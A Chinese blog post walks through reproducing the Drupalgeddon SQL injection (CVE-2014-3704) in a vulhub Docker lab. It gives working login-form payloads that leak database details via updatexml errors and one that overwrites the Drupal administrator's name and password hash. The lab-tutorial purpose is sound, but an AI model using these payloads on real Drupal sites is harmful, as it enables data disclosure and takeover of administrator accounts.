[ vulhub漏洞复现篇 ] Drupal<7.32 Drupalgeddon SQL注入漏洞(CVE-2014-3704)
迪丽瓦拉
2024-05-26 01:37:27
0

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入CVE-2014-3704环境
    • 2、启动CVE-2014-3704环境
    • 3、查看CVE-2014-3704环境
    • 4、访问CVE-2014-3704环境
    • 5、查看CVE-2014-3704漏洞提示信息
    • 6、关闭CVE-2014-3704环境
  • 五、漏洞复现
    • 1、抓登陆页面的数据包包
    • 2、获取数据库当前当前用户
    • 3、获取数据库版本
    • 4、获取当前使用数据库
    • 5、修改管理员账号密码
  • 六、漏洞修复
  • 七、相关资源

一、漏洞编号

CVE-2014-3704

二、影响范围

Drupal < 7.32的7.x版本

三、漏洞描述

Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞,攻击者可以执行任意SQL语句,插入、修改管理员信息,甚至执行任意代码。

四、环境搭建

1、进入CVE-2014-3704环境

cd vulhub/confluence/CVE-2014-3704

在这里插入图片描述

2、启动CVE-2014-3704环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2014-3704环境

docker-compose ps

在这里插入图片描述

4、访问CVE-2014-3704环境

环境启动后,访问http://your-ip:8080会进入安装引导。

http://192.168.233.130:8080/

进入Drupal的安装页面,使用默认配置安装即可。
一直点击save and continue就ok了

在这里插入图片描述

到了配置数据库这一步,
数据库类型myqsl
数据库名字drupal
数据库用户名root
数据库密码root
高级选项中Database host为mysql

在这里插入图片描述

然后接着save and continue,直到下面这个页面,进入站点
注意中间有一步需要配置登录密码,忘截图了

在这里插入图片描述

进入站点后

在这里插入图片描述

在这里插入图片描述

5、查看CVE-2014-3704漏洞提示信息

cat README.md

在这里插入图片描述

6、关闭CVE-2014-3704环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、抓登陆页面的数据包包

登陆页面抓个包

http://192.168.233.130:8080/

在这里插入图片描述

抓到的数据包如下,放到重放攻击模块

在这里插入图片描述

2、获取数据库当前当前用户

使用如下POC进行替换

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a

在这里插入图片描述

发送数据包,回显如下,利用 SQL 报错语句打印当前用户,证明存在SQL注入漏洞

在这里插入图片描述

3、获取数据库版本

使用如下POC进行替换

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,Version()),0)%23]=bob&name[0]=a

在这里插入图片描述

数据库版本为5.5.62,没有系统表

4、获取当前使用数据库

使用如下POC进行替换

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,database()),0)%23]=bob&name[0]=a

在这里插入图片描述

回显如下,获取到了当前数据库为drupal

在这里插入图片描述

5、修改管理员账号密码

使用如下POC进行替换
将原来id为1的管理,替换成名字为123456,密码是thanks的管理员。

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0%20;update+users+set+name%3d'123456'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=bob&name[0]=a

在这里插入图片描述

用之前的管理员账号密码就登陆失败了

在这里插入图片描述

使用123456,thanks登陆成功,管理员账号密码被成功修改(可配合CVE-2018-7602使用)

在这里插入图片描述

六、漏洞修复

升级Drupal为最新版本

七、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)

相关内容